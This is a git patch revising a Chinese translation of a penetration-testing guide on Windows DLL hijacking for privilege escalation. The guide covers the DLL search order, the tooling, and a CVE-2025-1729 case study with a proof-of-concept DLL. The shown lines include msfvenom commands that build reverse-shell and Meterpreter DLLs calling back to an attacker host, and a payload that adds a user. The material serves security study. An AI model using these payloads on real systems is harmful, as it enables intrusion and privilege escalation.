From 16a7506d63317c6bf71e80584bf41ccf6d98edcd Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 9 Jul 2025 09:14:03 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/dl --- .../dll-hijacking/README.md | 86 +++++++++++++------ 1 file changed, 62 insertions(+), 24 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index 7a51ed964..1e216aa05 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -4,7 +4,7 @@ ## Basic Information -DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语包括几种战术,如 **DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的特权升级。尽管这里重点关注升级,但劫持的方法在不同目标之间保持一致。 +DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术,如 **DLL Spoofing, Injection, and Side-Loading**。它主要用于代码执行、实现持久性,以及较少见的特权提升。尽管这里重点关注提升,但劫持的方法在不同目标之间保持一致。 ### Common Techniques @@ -29,18 +29,18 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术 ![](<../../../images/image (153).png>) -如果您在寻找 **缺失的 DLL**,您可以 **让它运行几秒钟**。\ -如果您在寻找 **特定可执行文件中的缺失 DLL**,您应该设置 **另一个过滤器,如 "Process Name" "contains" "\",执行它,然后停止捕获事件**。 +如果您在寻找 **缺失的 DLL**,可以 **让它运行几秒钟**。\ +如果您在寻找 **特定可执行文件中的缺失 DLL**,则应设置 **另一个过滤器,如 "Process Name" "contains" "\",执行它,然后停止捕获事件**。 ## Exploiting Missing Dlls -为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要被搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL,该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要被搜索**,而原始 **DLL 在任何文件夹中都不存在**。 +为了提升特权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL,该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索 DLL**,而原始 **DLL 在任何文件夹中都不存在**。 ### Dll Search Order **在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。** -**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录中的一个时,DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。 +**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL,遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时,DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。 您可以在 32 位系统上看到 **DLL 搜索顺序**: @@ -51,11 +51,11 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术 5. 当前目录。 6. 在 PATH 环境变量中列出的目录。请注意,这不包括由 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。 -这是 **启用 SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。 +这是启用 **SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0(默认启用)。 如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**,搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。 -最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将被视为仅按名称加载进行搜索)。 +最后,请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下,该 DLL **只会在该路径中被搜索**(如果 DLL 有任何依赖项,它们将仅按名称加载时进行搜索)。 还有其他方法可以更改搜索顺序,但我在这里不打算解释它们。 @@ -63,7 +63,7 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术 Windows 文档中指出了标准 DLL 搜索顺序的某些例外: -- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前进行重定向和清单检查。**在这种情况下,系统不会进行 DLL 搜索**。 +- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。相反,它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下,系统不会进行 DLL 的搜索**。 - 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下,系统将使用其版本的已知 DLL 及其任何依赖 DLL,**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。 - 如果 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行,而不管初始 DLL 是否通过完整路径识别。 @@ -72,10 +72,10 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外: **Requirements**: - 确定一个在 **不同特权** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**。 -- 确保在 **搜索 DLL** 的任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。 +- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。 -是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\ -如果您运气好,满足要求,您可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能在那里找到适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹的路径)。 +是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限 **更奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\ +如果您运气好并且满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能在那里找到一个 DLL 劫持的 **PoC**,适用于您可以使用的 Windows 版本(可能只需更改您有写入权限的文件夹的路径)。 请注意,您可以通过以下方式 **检查文件夹中的权限**: ```bash @@ -91,7 +91,7 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -对于如何**利用Dll劫持提升权限**的完整指南,检查: +对于如何**利用 Dll Hijacking 提升权限**的完整指南,检查: {{#ref}} writable-sys-path-+dll-hijacking-privesc.md @@ -99,25 +99,25 @@ writable-sys-path-+dll-hijacking-privesc.md ### 自动化工具 -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统PATH中的任何文件夹上具有写入权限。\ -其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_和_Write-HijackDll_。 +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统 PATH 中的任何文件夹上具有写入权限。\ +其他发现此漏洞的有趣自动化工具包括**PowerSploit 函数**:_Find-ProcessDLLHijack_,_Find-PathDLLHijack_ 和 _Write-HijackDll_。 ### 示例 -如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,请注意,Dll劫持在[**从中等完整性级别提升到高完整性(绕过UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac)或[**从高完整性提升到SYSTEM**](../index.html#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\ -此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。 +如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的 dll**。无论如何,请注意,Dll Hijacking 在[**从中等完整性级别提升到高完整性(绕过 UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac)或[**从高完整性提升到 SYSTEM**](../index.html#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的 dll 劫持研究中找到**如何创建有效 dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\ +此外,在**下一节**中,您可以找到一些**基本 dll 代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的 dll**。 -## **创建和编译Dll** +## **创建和编译 Dll** -### **Dll代理** +### **Dll 代理** -基本上,**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll,同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。 +基本上,**Dll 代理**是一个能够**在加载时执行您的恶意代码**的 Dll,同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。 -使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。 +使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择您想要代理的库**,并**生成一个代理 dll**,或**指定 Dll**并**生成一个代理 dll**。 ### **Meterpreter** -**获取反向shell (x64):** +**获取反向 shell (x64):** ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` @@ -125,7 +125,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` -**创建用户(x86,我没有看到 x64 版本):** +**创建用户(x86 我没有看到 x64 版本):** ``` msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` @@ -212,10 +212,48 @@ break; return TRUE; } ``` -## 参考 +## 案例研究:CVE-2025-1729 - 使用 TPQMAssistant.exe 的权限提升 + +此案例演示了联想的 TrackPoint 快速菜单 (`TPQMAssistant.exe`) 中的 **Phantom DLL Hijacking**,被追踪为 **CVE-2025-1729**。 + +### 漏洞详情 + +- **组件**:`TPQMAssistant.exe` 位于 `C:\ProgramData\Lenovo\TPQM\Assistant\`。 +- **计划任务**:`Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` 每天上午 9:30 在登录用户的上下文中运行。 +- **目录权限**:可由 `CREATOR OWNER` 写入,允许本地用户放置任意文件。 +- **DLL 搜索行为**:首先尝试从其工作目录加载 `hostfxr.dll`,如果缺失则记录 "NAME NOT FOUND",表明本地目录搜索优先。 + +### 利用实现 + +攻击者可以在同一目录中放置恶意的 `hostfxr.dll` 存根,利用缺失的 DLL 在用户上下文中实现代码执行: +```c +#include + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) { +if (fdwReason == DLL_PROCESS_ATTACH) { +// Payload: display a message box (proof-of-concept) +MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK); +} +return TRUE; +} +``` +### 攻击流程 + +1. 作为标准用户,将 `hostfxr.dll` 放入 `C:\ProgramData\Lenovo\TPQM\Assistant\`。 +2. 等待计划任务在当前用户上下文中于上午9:30运行。 +3. 如果在任务执行时有管理员登录,恶意 DLL 将以中等完整性在管理员会话中运行。 +4. 链接标准 UAC 绕过技术,从中等完整性提升到 SYSTEM 权限。 + +### 缓解措施 + +联想通过 Microsoft Store 发布了 UWP 版本 **1.12.54.0**,该版本在 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` 下安装 TPQMAssistant,移除易受攻击的计划任务,并卸载遗留的 Win32 组件。 + +## 参考文献 + +- [CVE-2025-1729 - 使用 TPQMAssistant.exe 的权限提升](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) +- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng) - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - {{#include ../../../banners/hacktricks-training.md}}